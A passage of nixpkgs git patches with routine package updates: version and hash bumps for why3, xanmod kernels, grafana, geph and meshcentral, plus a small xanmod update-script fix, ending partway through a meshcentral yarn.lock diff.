   ideSupport ? true,
   wrapGAppsHook3,
 }:
@@ -21,7 +21,7 @@ stdenv.mkDerivation rec {
     url = "https://why3.gitlabpages.inria.fr/releases/${pname}-${version}.tar.gz";
     hash =
       {
-        "1.8.0" = "sha256-gDe4OI0AuoYmJSCg/SMRQYcgelX/SM28ClQfKhnw88E=";
+        "1.8.1" = "sha256-RSj89bP8ZBdTQM7x5cpJTsk55SIXlc2SXMQj6Q1GFW8=";
         "1.7.2" = "sha256-VaSG/FiO2MDdSSFXGJJrIylQx0LPwtT8AF7TpPVZhCQ=";
         "1.6.0" = "sha256-hFvM6kHScaCtcHCc6Vezl9CR7BFbiKPoTEh7kj0ZJxw=";
       }

From aa689a31e909e8af43946cc7e4fe18b51fa2cfc6 Mon Sep 17 00:00:00 2001
From: eljamm <fedi.jamoussi@protonmail.ch>
Date: Fri, 29 Aug 2025 08:30:53 +0200
Subject: [PATCH 4029/4511] linux_xanmod: 6.12.43 -> 6.12.44

(cherry picked from commit 95834ed8ea567c60e5d5215d447bd5ab521364b6)
---
 pkgs/os-specific/linux/kernel/xanmod-kernels.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/xanmod-kernels.nix b/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
index 9463d9d62df3..d14730c00fec 100644
--- a/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
+++ b/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
@@ -15,8 +15,8 @@ let
   variants = {
     # ./update-xanmod.sh lts
     lts = {
-      version = "6.12.43";
-      hash = "sha256-Jc3VKpUaIc1nBbbCZ/jAx/kteuQBQBO6TEPlaNq8Jrk=";
+      version = "6.12.44";
+      hash = "sha256-wyT7vXrXVKYISDpm2QLKdmGCx2zQWUusYT6WzGgiiHw=";
       isLTS = true;
     };
     # ./update-xanmod.sh main

From 65877c9ea8c0c0e939952a29bfdeff74b1a68170 Mon Sep 17 00:00:00 2001
From: eljamm <fedi.jamoussi@protonmail.ch>
Date: Fri, 29 Aug 2025 08:51:37 +0200
Subject: [PATCH 4030/4511] linux_xanmod_latest: 6.15.11 -> 6.16.4

(cherry picked from commit a75b949eb75814571668942fbb141c7b3720a608)
---
 pkgs/os-specific/linux/kernel/xanmod-kernels.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/xanmod-kernels.nix b/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
index d14730c00fec..fb3e56b5906b 100644
--- a/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
+++ b/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
@@ -21,8 +21,8 @@ let
     };
     # ./update-xanmod.sh main
     main = {
-      version = "6.15.11";
-      hash = "sha256-251rQqXkzLzmgl1uqN3mvXlkIbH+B25C30hMJ6v4tBE=";
+      version = "6.16.4";
+      hash = "sha256-CWsGKAID9j24H5oDqlKPToKzl+1Y43F2DmGkc7b2YIg=";
     };
   };
 

From e18f7b23df803b85fb18f33637b30d2130f72101 Mon Sep 17 00:00:00 2001
From: eljamm <fedi.jamoussi@protonmail.ch>
Date: Fri, 29 Aug 2025 08:55:23 +0200
Subject: [PATCH 4031/4511] linux_xanmod: update script improvements

- Specify nixpkgs in nix-shell for more consistency
- Remove trailing slash in release URLs, which can mess up field slicing

(cherry picked from commit 3a485334a7340b9f6bea734453b0fea1196453e7)
---
 pkgs/os-specific/linux/kernel/update-xanmod.sh | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/pkgs/os-specific/linux/kernel/update-xanmod.sh b/pkgs/os-specific/linux/kernel/update-xanmod.sh
index fd786872fd3c..30ee5e32f600 100755
--- a/pkgs/os-specific/linux/kernel/update-xanmod.sh
+++ b/pkgs/os-specific/linux/kernel/update-xanmod.sh
@@ -1,5 +1,5 @@
 #!/usr/bin/env nix-shell
-#!nix-shell -i bash -p bash nix-prefetch curl jq gawk gnused nixfmt-rfc-style
+#!nix-shell -I nixpkgs=./. -i bash -p bash nix-prefetch curl jq gawk gnused nixfmt-rfc-style
 
 set -euo pipefail
 
@@ -22,6 +22,9 @@ RELEASES=$(curl --silent https://gitlab.com/api/v4/projects/xanmod%2Flinux/relea
 RELEASE_URLS=$(echo "$RELEASES" | jq '.[].assets.links.[0].name')
 
 while IFS= read -r url; do
+    # Remove trailing slash
+    url="${url%/}"
+
     # Get variant, version and suffix from url fields:
     #                 8         9       NF
     #                 |         |       |

From b9a900d2944ba76f8eac82504dd85b10ba4832cb Mon Sep 17 00:00:00 2001
From: Maximilian Bosch <maximilian@mbosch.me>
Date: Fri, 29 Aug 2025 12:53:25 +0200
Subject: [PATCH 4032/4511] grafana: 12.0.3 -> 12.0.4

ChangeLog: https://github.com/grafana/grafana/releases/tag/v12.0.4
---
 pkgs/servers/monitoring/grafana/default.nix | 16 ++++++++++------
 1 file changed, 10 insertions(+), 6 deletions(-)

diff --git a/pkgs/servers/monitoring/grafana/default.nix b/pkgs/servers/monitoring/grafana/default.nix
index b4ccf77cc9e9..0c8c59c851ae 100644
--- a/pkgs/servers/monitoring/grafana/default.nix
+++ b/pkgs/servers/monitoring/grafana/default.nix
@@ -26,21 +26,25 @@ let
   # stable is on an older patch-release of Go and then the build would fail
   # after a backport.
   patchGoVersion = ''
-    find . -name go.mod -not -path "./.bingo/*" -and -not -path "./devenv/*" -and -not -path "./hack/*" -and -not -path "./scripts/*" -print0 | while IFS= read -r -d ''' line; do
+    find . -name go.mod -not -path "./.bingo/*" -and -not -path "./devenv/*" -and -not -path "./hack/*" -and -not -path "./scripts/*" -and -not -path "./.citools/*" -print0 | while IFS= read -r -d ''' line; do
+      substituteInPlace "$line" \
+        --replace-fail "go 1.24.6" "go 1.24.0"
+    done
+    find . -name go.mod -path "./.citools/*" -print0 | while IFS= read -r -d ''' line; do
       substituteInPlace "$line" \
         --replace-fail "go 1.24.5" "go 1.24.0"
     done
     find . -name go.work -print0 | while IFS= read -r -d ''' line; do
       substituteInPlace "$line" \
-        --replace-fail "go 1.24.5" "go 1.24.0"
+        --replace-fail "go 1.24.6" "go 1.24.0"
     done
     substituteInPlace Makefile \
-      --replace-fail "GO_VERSION = 1.24.5" "GO_VERSION = 1.24.0"
+      --replace-fail "GO_VERSION = 1.24.6" "GO_VERSION = 1.24.0"
   '';
 in
 buildGoModule rec {
   pname = "grafana";
-  version = "12.0.3";
+  version = "12.0.4";
 
   subPackages = [
     "pkg/cmd/grafana"
@@ -52,7 +56,7 @@ buildGoModule rec {
     owner = "grafana";
     repo = "grafana";
     rev = "v${version}";
-    hash = "sha256-OSuezc8hehMyJuo3ldvsDf8tD+KvpUz5+MyzaLnUCGA=";
+    hash = "sha256-htuBN+LyP3RgVG53LN0cgGn7Dmesgv/U1A9jYj4cdGc=";
   };
 
   # borrowed from: https://github.com/NixOS/nixpkgs/blob/d70d9425f49f9aba3c49e2c389fe6d42bac8c5b0/pkgs/development/tools/analysis/snyk/default.nix#L20-L22
@@ -66,7 +70,7 @@ buildGoModule rec {
   missingHashes = ./missing-hashes.json;
   offlineCache = yarn-berry_4.fetchYarnBerryDeps {
     inherit src missingHashes;
-    hash = "sha256-ekqvMDEOwEqwrNnkpDqwJilXHr90XvmnbB+8wS3dbvY=";
+    hash = "sha256-OqdW5DRUDgWwbuHMNLTkM4gtjTK9vvm4g7L6tcEQFMs=";
   };
 
   disallowedRequisites = [ offlineCache ];

From 497cff444426cac0d8872d91d9ea44f05024ce6e Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 22 Aug 2025 00:56:20 +0000
Subject: [PATCH 4033/4511] geph: 0.2.77 -> 0.2.82

(cherry picked from commit 5f59f7353042cd4a66766bff99c992e77919c2ef)
---
 pkgs/by-name/ge/geph/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ge/geph/package.nix b/pkgs/by-name/ge/geph/package.nix
index c304623e7b94..67d47bc8ad16 100644
--- a/pkgs/by-name/ge/geph/package.nix
+++ b/pkgs/by-name/ge/geph/package.nix
@@ -24,16 +24,16 @@ let
 in
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "geph5";
-  version = "0.2.77";
+  version = "0.2.82";
 
   src = fetchFromGitHub {
     owner = "geph-official";
     repo = "geph5";
     rev = "geph5-client-v${finalAttrs.version}";
-    hash = "sha256-xm2eSCLIPYydR8iwMlZyc/M6bFrUZRqL5yZUXuYdk/k=";
+    hash = "sha256-z4f6XoMSjMmq+Uf8A/6M+aJs6oDJGdMffVflwc0Q2so=";
   };
 
-  cargoHash = "sha256-DNk4BQoY8m3OmglXMZzGstl9aC+LhZq9EN0OLW7sBrw=";
+  cargoHash = "sha256-PhLNS6DdCisQ8sOWm1V72UJpLZX4gVNkt1779mmMB1c=";
 
   postPatch = ''
     substituteInPlace binaries/geph5-client/src/vpn/*.sh \

From b5aed0c39373c4d7acc0c66d2d5f645e042b1463 Mon Sep 17 00:00:00 2001
From: Maximilian Bosch <maximilian@mbosch.me>
Date: Wed, 27 Aug 2025 11:35:52 +0200
Subject: [PATCH 4034/4511] meshcentral: 1.1.48 -> 1.1.49

ChangeLog: https://github.com/Ylianst/MeshCentral/releases/tag/1.1.49
(cherry picked from commit 5f8f6ac0225a5dcde474c32d5727f0a409394280)
---
 pkgs/tools/admin/meshcentral/default.nix  |    8 +-
 pkgs/tools/admin/meshcentral/package.json |    4 +-
 pkgs/tools/admin/meshcentral/yarn.lock    | 1358 +++++++++++----------
 3 files changed, 690 insertions(+), 680 deletions(-)

diff --git a/pkgs/tools/admin/meshcentral/default.nix b/pkgs/tools/admin/meshcentral/default.nix
index b648830321e0..c6760357bc97 100644
--- a/pkgs/tools/admin/meshcentral/default.nix
+++ b/pkgs/tools/admin/meshcentral/default.nix
@@ -8,11 +8,11 @@
 }:
 
 yarn2nix-moretea.mkYarnPackage {
-  version = "1.1.48";
+  version = "1.1.49";
 
   src = fetchzip {
-    url = "https://registry.npmjs.org/meshcentral/-/meshcentral-1.1.48.tgz";
-    sha256 = "0ns4pp0gswvfpyjzklsh76ych9sv9qjcn50dhain7b6cy6dkrmga";
+    url = "https://registry.npmjs.org/meshcentral/-/meshcentral-1.1.49.tgz";
+    sha256 = "1xklg7snn3qlmakkqy89q58n7b09idxz0zz5ha3hrn8s0wcmjakr";
   };
 
   patches = [
@@ -24,7 +24,7 @@ yarn2nix-moretea.mkYarnPackage {
 
   offlineCache = fetchYarnDeps {
     yarnLock = ./yarn.lock;
-    hash = "sha256-oHY21OMLVyrdJOiV9MarXWnjcKNaKtvUz26xIvVNRsw=";
+    hash = "sha256-xiZ1RL4GsihQc1yazjkTfge/DS2N9oimSl0EZr6WmrM=";
   };
 
   # Tarball has CRLF line endings. This makes patching difficult, so let's convert them.
diff --git a/pkgs/tools/admin/meshcentral/package.json b/pkgs/tools/admin/meshcentral/package.json
index 5e31c186fd18..e32d5bac2dca 100644
--- a/pkgs/tools/admin/meshcentral/package.json
+++ b/pkgs/tools/admin/meshcentral/package.json
@@ -1,6 +1,6 @@
 {
   "name": "meshcentral",
-  "version": "1.1.48",
+  "version": "1.1.49",
   "keywords": [
     "Remote Device Management",
     "Remote Device Monitoring",
@@ -110,7 +110,7 @@
     "node-vault": "0.10.2",
     "https-proxy-agent": "7.0.2",
     "mongojs": "3.1.0",
-    "nodemailer": "6.9.16",
+    "nodemailer": "6.10.1",
     "@sendgrid/mail": "*",
     "jsdom": "22.1.0",
     "esprima": "4.0.1",
diff --git a/pkgs/tools/admin/meshcentral/yarn.lock b/pkgs/tools/admin/meshcentral/yarn.lock
index 9eb55196e096..9fbb1c8e8041 100644
--- a/pkgs/tools/admin/meshcentral/yarn.lock
+++ b/pkgs/tools/admin/meshcentral/yarn.lock
@@ -48,424 +48,424 @@
     "@smithy/util-utf8" "^2.0.0"
     tslib "^2.6.2"
 
-"@aws-sdk/client-cognito-identity@3.848.0":
-  version "3.848.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/client-cognito-identity/-/client-cognito-identity-3.848.0.tgz#d7461128c39214a3d37c69eae6dceddfb7931f2a"
-  integrity sha512-Sin8aLnA81MgvUJrfQsBIQ1UJg4klWT3NuYYjExLiVQf3A0/F7Bfx1HTIyWXtSchY4QgGr7MMone0/0KZ4Dy9g==
+"@aws-sdk/client-cognito-identity@3.876.0":
+  version "3.876.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/client-cognito-identity/-/client-cognito-identity-3.876.0.tgz#9184aaaf99e47ef8279afd828241fdcf3c0b42a8"
+  integrity sha512-oSoTroa0sJ8TIFh/PamqAKBAmPzNvYCbWm7K9OFCOXApCxF7E981Cwd4AbXwLgy/AAMiXfPgCesPZqr0gTQQQQ==
   dependencies:
     "@aws-crypto/sha256-browser" "5.2.0"
     "@aws-crypto/sha256-js" "5.2.0"
-    "@aws-sdk/core" "3.846.0"
-    "@aws-sdk/credential-provider-node" "3.848.0"
-    "@aws-sdk/middleware-host-header" "3.840.0"
-    "@aws-sdk/middleware-logger" "3.840.0"
-    "@aws-sdk/middleware-recursion-detection" "3.840.0"
-    "@aws-sdk/middleware-user-agent" "3.848.0"
-    "@aws-sdk/region-config-resolver" "3.840.0"
-    "@aws-sdk/types" "3.840.0"
-    "@aws-sdk/util-endpoints" "3.848.0"
-    "@aws-sdk/util-user-agent-browser" "3.840.0"
-    "@aws-sdk/util-user-agent-node" "3.848.0"
-    "@smithy/config-resolver" "^4.1.4"
-    "@smithy/core" "^3.7.0"
-    "@smithy/fetch-http-handler" "^5.1.0"
-    "@smithy/hash-node" "^4.0.4"
-    "@smithy/invalid-dependency" "^4.0.4"
-    "@smithy/middleware-content-length" "^4.0.4"
-    "@smithy/middleware-endpoint" "^4.1.15"
-    "@smithy/middleware-retry" "^4.1.16"
-    "@smithy/middleware-serde" "^4.0.8"
-    "@smithy/middleware-stack" "^4.0.4"
-    "@smithy/node-config-provider" "^4.1.3"
-    "@smithy/node-http-handler" "^4.1.0"
-    "@smithy/protocol-http" "^5.1.2"
-    "@smithy/smithy-client" "^4.4.7"
-    "@smithy/types" "^4.3.1"
-    "@smithy/url-parser" "^4.0.4"
+    "@aws-sdk/core" "3.876.0"
+    "@aws-sdk/credential-provider-node" "3.876.0"
+    "@aws-sdk/middleware-host-header" "3.873.0"
+    "@aws-sdk/middleware-logger" "3.876.0"
+    "@aws-sdk/middleware-recursion-detection" "3.873.0"
+    "@aws-sdk/middleware-user-agent" "3.876.0"
+    "@aws-sdk/region-config-resolver" "3.873.0"
+    "@aws-sdk/types" "3.862.0"
+    "@aws-sdk/util-endpoints" "3.873.0"
+    "@aws-sdk/util-user-agent-browser" "3.873.0"
+    "@aws-sdk/util-user-agent-node" "3.876.0"
+    "@smithy/config-resolver" "^4.1.5"
+    "@smithy/core" "^3.8.0"
+    "@smithy/fetch-http-handler" "^5.1.1"
+    "@smithy/hash-node" "^4.0.5"
+    "@smithy/invalid-dependency" "^4.0.5"
+    "@smithy/middleware-content-length" "^4.0.5"
+    "@smithy/middleware-endpoint" "^4.1.18"
+    "@smithy/middleware-retry" "^4.1.19"
+    "@smithy/middleware-serde" "^4.0.9"
+    "@smithy/middleware-stack" "^4.0.5"
+    "@smithy/node-config-provider" "^4.1.4"
+    "@smithy/node-http-handler" "^4.1.1"
+    "@smithy/protocol-http" "^5.1.3"
+    "@smithy/smithy-client" "^4.4.10"
+    "@smithy/types" "^4.3.2"
+    "@smithy/url-parser" "^4.0.5"
     "@smithy/util-base64" "^4.0.0"
     "@smithy/util-body-length-browser" "^4.0.0"
     "@smithy/util-body-length-node" "^4.0.0"
-    "@smithy/util-defaults-mode-browser" "^4.0.23"
-    "@smithy/util-defaults-mode-node" "^4.0.23"
-    "@smithy/util-endpoints" "^3.0.6"
-    "@smithy/util-middleware" "^4.0.4"
-    "@smithy/util-retry" "^4.0.6"
+    "@smithy/util-defaults-mode-browser" "^4.0.26"
+    "@smithy/util-defaults-mode-node" "^4.0.26"
+    "@smithy/util-endpoints" "^3.0.7"
+    "@smithy/util-middleware" "^4.0.5"
+    "@smithy/util-retry" "^4.0.7"
     "@smithy/util-utf8" "^4.0.0"
     tslib "^2.6.2"
 
-"@aws-sdk/client-sso@3.848.0":
-  version "3.848.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/client-sso/-/client-sso-3.848.0.tgz#84178a83af2a1ce5d0ddfcfc980f4fe71987c01a"
-  integrity sha512-mD+gOwoeZQvbecVLGoCmY6pS7kg02BHesbtIxUj+PeBqYoZV5uLvjUOmuGfw1SfoSobKvS11urxC9S7zxU/Maw==
+"@aws-sdk/client-sso@3.876.0":
+  version "3.876.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/client-sso/-/client-sso-3.876.0.tgz#1088a594684aeb469b5986eeef7ca3819baf8cac"
+  integrity sha512-Vf0PMF7HVpvllrfPODnBZmlz6kT/y2AvOt1RQG3+qD0VrHWzShc5nwgRZ+yyP3xkKVhZsQ3sJapfZTFnjqMOYA==
   dependencies:
     "@aws-crypto/sha256-browser" "5.2.0"
     "@aws-crypto/sha256-js" "5.2.0"
-    "@aws-sdk/core" "3.846.0"
-    "@aws-sdk/middleware-host-header" "3.840.0"
-    "@aws-sdk/middleware-logger" "3.840.0"
-    "@aws-sdk/middleware-recursion-detection" "3.840.0"
-    "@aws-sdk/middleware-user-agent" "3.848.0"
-    "@aws-sdk/region-config-resolver" "3.840.0"
-    "@aws-sdk/types" "3.840.0"
-    "@aws-sdk/util-endpoints" "3.848.0"
-    "@aws-sdk/util-user-agent-browser" "3.840.0"
-    "@aws-sdk/util-user-agent-node" "3.848.0"
-    "@smithy/config-resolver" "^4.1.4"
-    "@smithy/core" "^3.7.0"
-    "@smithy/fetch-http-handler" "^5.1.0"
-    "@smithy/hash-node" "^4.0.4"
-    "@smithy/invalid-dependency" "^4.0.4"
-    "@smithy/middleware-content-length" "^4.0.4"
-    "@smithy/middleware-endpoint" "^4.1.15"
-    "@smithy/middleware-retry" "^4.1.16"
-    "@smithy/middleware-serde" "^4.0.8"
-    "@smithy/middleware-stack" "^4.0.4"
-    "@smithy/node-config-provider" "^4.1.3"
-    "@smithy/node-http-handler" "^4.1.0"
-    "@smithy/protocol-http" "^5.1.2"
-    "@smithy/smithy-client" "^4.4.7"
-    "@smithy/types" "^4.3.1"
-    "@smithy/url-parser" "^4.0.4"
+    "@aws-sdk/core" "3.876.0"
+    "@aws-sdk/middleware-host-header" "3.873.0"
+    "@aws-sdk/middleware-logger" "3.876.0"
+    "@aws-sdk/middleware-recursion-detection" "3.873.0"
+    "@aws-sdk/middleware-user-agent" "3.876.0"
+    "@aws-sdk/region-config-resolver" "3.873.0"
+    "@aws-sdk/types" "3.862.0"
+    "@aws-sdk/util-endpoints" "3.873.0"
+    "@aws-sdk/util-user-agent-browser" "3.873.0"
+    "@aws-sdk/util-user-agent-node" "3.876.0"
+    "@smithy/config-resolver" "^4.1.5"
+    "@smithy/core" "^3.8.0"
+    "@smithy/fetch-http-handler" "^5.1.1"
+    "@smithy/hash-node" "^4.0.5"
+    "@smithy/invalid-dependency" "^4.0.5"
+    "@smithy/middleware-content-length" "^4.0.5"
+    "@smithy/middleware-endpoint" "^4.1.18"
+    "@smithy/middleware-retry" "^4.1.19"
+    "@smithy/middleware-serde" "^4.0.9"
+    "@smithy/middleware-stack" "^4.0.5"
+    "@smithy/node-config-provider" "^4.1.4"
+    "@smithy/node-http-handler" "^4.1.1"
+    "@smithy/protocol-http" "^5.1.3"
+    "@smithy/smithy-client" "^4.4.10"
+    "@smithy/types" "^4.3.2"
+    "@smithy/url-parser" "^4.0.5"
     "@smithy/util-base64" "^4.0.0"
     "@smithy/util-body-length-browser" "^4.0.0"
     "@smithy/util-body-length-node" "^4.0.0"
-    "@smithy/util-defaults-mode-browser" "^4.0.23"
-    "@smithy/util-defaults-mode-node" "^4.0.23"
-    "@smithy/util-endpoints" "^3.0.6"
-    "@smithy/util-middleware" "^4.0.4"
-    "@smithy/util-retry" "^4.0.6"
+    "@smithy/util-defaults-mode-browser" "^4.0.26"
+    "@smithy/util-defaults-mode-node" "^4.0.26"
+    "@smithy/util-endpoints" "^3.0.7"
+    "@smithy/util-middleware" "^4.0.5"
+    "@smithy/util-retry" "^4.0.7"
     "@smithy/util-utf8" "^4.0.0"
     tslib "^2.6.2"
 
-"@aws-sdk/core@3.846.0":
-  version "3.846.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/core/-/core-3.846.0.tgz#f226d7d4f9b25f31dfda260f7ef1f4de8e4314fa"
-  integrity sha512-7CX0pM906r4WSS68fCTNMTtBCSkTtf3Wggssmx13gD40gcWEZXsU00KzPp1bYheNRyPlAq3rE22xt4wLPXbuxA==
+"@aws-sdk/core@3.876.0":
+  version "3.876.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/core/-/core-3.876.0.tgz#8f5c6afac9c9f90e6dd19d5d257db1482e50c233"
+  integrity sha512-sVFBFkdoPOPyY13NaXO1E/R9O5J6ixzHnnRbqrbXYM2QQgLNPTKIiRtmVEuVoFV9YULg+/aKm7caix8m468y9w==
   dependencies:
-    "@aws-sdk/types" "3.840.0"
-    "@aws-sdk/xml-builder" "3.821.0"
-    "@smithy/core" "^3.7.0"
-    "@smithy/node-config-provider" "^4.1.3"
-    "@smithy/property-provider" "^4.0.4"
-    "@smithy/protocol-http" "^5.1.2"
-    "@smithy/signature-v4" "^5.1.2"
-    "@smithy/smithy-client" "^4.4.7"
-    "@smithy/types" "^4.3.1"
+    "@aws-sdk/types" "3.862.0"
+    "@aws-sdk/xml-builder" "3.873.0"
+    "@smithy/core" "^3.8.0"
+    "@smithy/node-config-provider" "^4.1.4"
+    "@smithy/property-provider" "^4.0.5"
+    "@smithy/protocol-http" "^5.1.3"
+    "@smithy/signature-v4" "^5.1.3"
+    "@smithy/smithy-client" "^4.4.10"
+    "@smithy/types" "^4.3.2"
     "@smithy/util-base64" "^4.0.0"
     "@smithy/util-body-length-browser" "^4.0.0"
-    "@smithy/util-middleware" "^4.0.4"
+    "@smithy/util-middleware" "^4.0.5"
     "@smithy/util-utf8" "^4.0.0"
     fast-xml-parser "5.2.5"
     tslib "^2.6.2"
 
-"@aws-sdk/credential-provider-cognito-identity@3.848.0":
-  version "3.848.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-cognito-identity/-/credential-provider-cognito-identity-3.848.0.tgz#c3d54f75a176aadddd3a6a7f6092987744ca32d1"
-  integrity sha512-2cm/Ye6ktagW1h7FmF4sgo8STZyBr2+0+L9lr/veuPKZVWoi/FyhJR3l0TtKrd8z78no9P5xbsGUmxoDLtsxiw==
+"@aws-sdk/credential-provider-cognito-identity@3.876.0":
+  version "3.876.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-cognito-identity/-/credential-provider-cognito-identity-3.876.0.tgz#2c40a6af34eac4fc0137f9f80a1cba47372f66bb"
+  integrity sha512-6LlQCVef+DBpBZ3F1g7Fr6uuDCXLK4uf90f6bumZSg4ET/LUoAvIhWIiEZGkZ9jJ441Jnil73kOzwmsb7GkPWQ==
   dependencies:
-    "@aws-sdk/client-cognito-identity" "3.848.0"
-    "@aws-sdk/types" "3.840.0"
-    "@smithy/property-provider" "^4.0.4"
-    "@smithy/types" "^4.3.1"
+    "@aws-sdk/client-cognito-identity" "3.876.0"
+    "@aws-sdk/types" "3.862.0"
+    "@smithy/property-provider" "^4.0.5"
+    "@smithy/types" "^4.3.2"
     tslib "^2.6.2"
 
-"@aws-sdk/credential-provider-env@3.846.0":
-  version "3.846.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-env/-/credential-provider-env-3.846.0.tgz#b47637b123544971f4d1c7300ea77b70143a7141"
-  integrity sha512-QuCQZET9enja7AWVISY+mpFrEIeHzvkx/JEEbHYzHhUkxcnC2Kq2c0bB7hDihGD0AZd3Xsm653hk1O97qu69zg==
+"@aws-sdk/credential-provider-env@3.876.0":
+  version "3.876.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-env/-/credential-provider-env-3.876.0.tgz#11e4d4964e6e2fb85351e68da3a0cea9ff3036ab"
+  integrity sha512-cof7lwp2AlrAfRs0pt4W2KMS2VMBvEmpcti1UOFfSJIqkn+cyJliMJ8LHg22GI+kUexjvxdAqSbf3M7OHvEW+w==
   dependencies:
-    "@aws-sdk/core" "3.846.0"
-    "@aws-sdk/types" "3.840.0"
-    "@smithy/property-provider" "^4.0.4"
-    "@smithy/types" "^4.3.1"
+    "@aws-sdk/core" "3.876.0"
+    "@aws-sdk/types" "3.862.0"
+    "@smithy/property-provider" "^4.0.5"
+    "@smithy/types" "^4.3.2"
     tslib "^2.6.2"
 
-"@aws-sdk/credential-provider-http@3.846.0":
-  version "3.846.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-http/-/credential-provider-http-3.846.0.tgz#fe8b36493070a3444d76082b5129450598563fe0"
-  integrity sha512-Jh1iKUuepdmtreMYozV2ePsPcOF5W9p3U4tWhi3v6nDvz0GsBjzjAROW+BW8XMz9vAD3I9R+8VC3/aq63p5nlw==
+"@aws-sdk/credential-provider-http@3.876.0":
+  version "3.876.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-http/-/credential-provider-http-3.876.0.tgz#da29a773b5b1ee53308978582582d6bfbb490c66"
+  integrity sha512-wzmef2NBp2+X1l8D4Q8hx1G8oI3+WdvLdPev9VnVpRYZxYGRWVPl++wvCBsCn/ZL0mdWopPkhHA3kFexQhMzvg==
   dependencies:
-    "@aws-sdk/core" "3.846.0"
-    "@aws-sdk/types" "3.840.0"
-    "@smithy/fetch-http-handler" "^5.1.0"
-    "@smithy/node-http-handler" "^4.1.0"
-    "@smithy/property-provider" "^4.0.4"
-    "@smithy/protocol-http" "^5.1.2"
-    "@smithy/smithy-client" "^4.4.7"
-    "@smithy/types" "^4.3.1"
-    "@smithy/util-stream" "^4.2.3"
+    "@aws-sdk/core" "3.876.0"
+    "@aws-sdk/types" "3.862.0"
+    "@smithy/fetch-http-handler" "^5.1.1"
+    "@smithy/node-http-handler" "^4.1.1"
+    "@smithy/property-provider" "^4.0.5"
+    "@smithy/protocol-http" "^5.1.3"
+    "@smithy/smithy-client" "^4.4.10"
+    "@smithy/types" "^4.3.2"
+    "@smithy/util-stream" "^4.2.4"
     tslib "^2.6.2"
 
-"@aws-sdk/credential-provider-ini@3.848.0":
-  version "3.848.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-ini/-/credential-provider-ini-3.848.0.tgz#aec6f9158b08b9842d4e9ee7671296a2a237b026"
-  integrity sha512-r6KWOG+En2xujuMhgZu7dzOZV3/M5U/5+PXrG8dLQ3rdPRB3vgp5tc56KMqLwm/EXKRzAOSuw/UE4HfNOAB8Hw==
+"@aws-sdk/credential-provider-ini@3.876.0":
+  version "3.876.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-ini/-/credential-provider-ini-3.876.0.tgz#6afb8bf97198f88d1740e922a9abf4b4e1155038"
+  integrity sha512-JHbW6fqnJsVjGHCyko7B0NVPT1nEAPxkM3CGjUcVGsHgJBkxOLVCMQqTRyHcDdeHR2qeojlLoOHRz97xIHQjYw==
   dependencies:
-    "@aws-sdk/core" "3.846.0"
-    "@aws-sdk/credential-provider-env" "3.846.0"
-    "@aws-sdk/credential-provider-http" "3.846.0"
-    "@aws-sdk/credential-provider-process" "3.846.0"
-    "@aws-sdk/credential-provider-sso" "3.848.0"
-    "@aws-sdk/credential-provider-web-identity" "3.848.0"
-    "@aws-sdk/nested-clients" "3.848.0"
-    "@aws-sdk/types" "3.840.0"
-    "@smithy/credential-provider-imds" "^4.0.6"
-    "@smithy/property-provider" "^4.0.4"
-    "@smithy/shared-ini-file-loader" "^4.0.4"
-    "@smithy/types" "^4.3.1"
+    "@aws-sdk/core" "3.876.0"
+    "@aws-sdk/credential-provider-env" "3.876.0"
+    "@aws-sdk/credential-provider-http" "3.876.0"
+    "@aws-sdk/credential-provider-process" "3.876.0"
+    "@aws-sdk/credential-provider-sso" "3.876.0"
+    "@aws-sdk/credential-provider-web-identity" "3.876.0"
+    "@aws-sdk/nested-clients" "3.876.0"
+    "@aws-sdk/types" "3.862.0"
+    "@smithy/credential-provider-imds" "^4.0.7"
+    "@smithy/property-provider" "^4.0.5"
+    "@smithy/shared-ini-file-loader" "^4.0.5"
+    "@smithy/types" "^4.3.2"
     tslib "^2.6.2"
 
-"@aws-sdk/credential-provider-node@3.848.0":
-  version "3.848.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-node/-/credential-provider-node-3.848.0.tgz#aeeccc9cadaae57fd2664298ecacea18648d6b9c"
-  integrity sha512-AblNesOqdzrfyASBCo1xW3uweiSro4Kft9/htdxLeCVU1KVOnFWA5P937MNahViRmIQm2sPBCqL8ZG0u9lnh5g==
+"@aws-sdk/credential-provider-node@3.876.0":
+  version "3.876.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-node/-/credential-provider-node-3.876.0.tgz#1619f84fee068217414ea2fa57c0e327768a9465"
+  integrity sha512-eHbNt1+Hi43e8ANnwf6toapLSxfMiyGq459y3Uh6i7NBOiWWKEsOVcgOfUC3RCoqeikxovt1tFM2cEElWUIOhg==
   dependencies:
-    "@aws-sdk/credential-provider-env" "3.846.0"
-    "@aws-sdk/credential-provider-http" "3.846.0"
-    "@aws-sdk/credential-provider-ini" "3.848.0"
-    "@aws-sdk/credential-provider-process" "3.846.0"
-    "@aws-sdk/credential-provider-sso" "3.848.0"
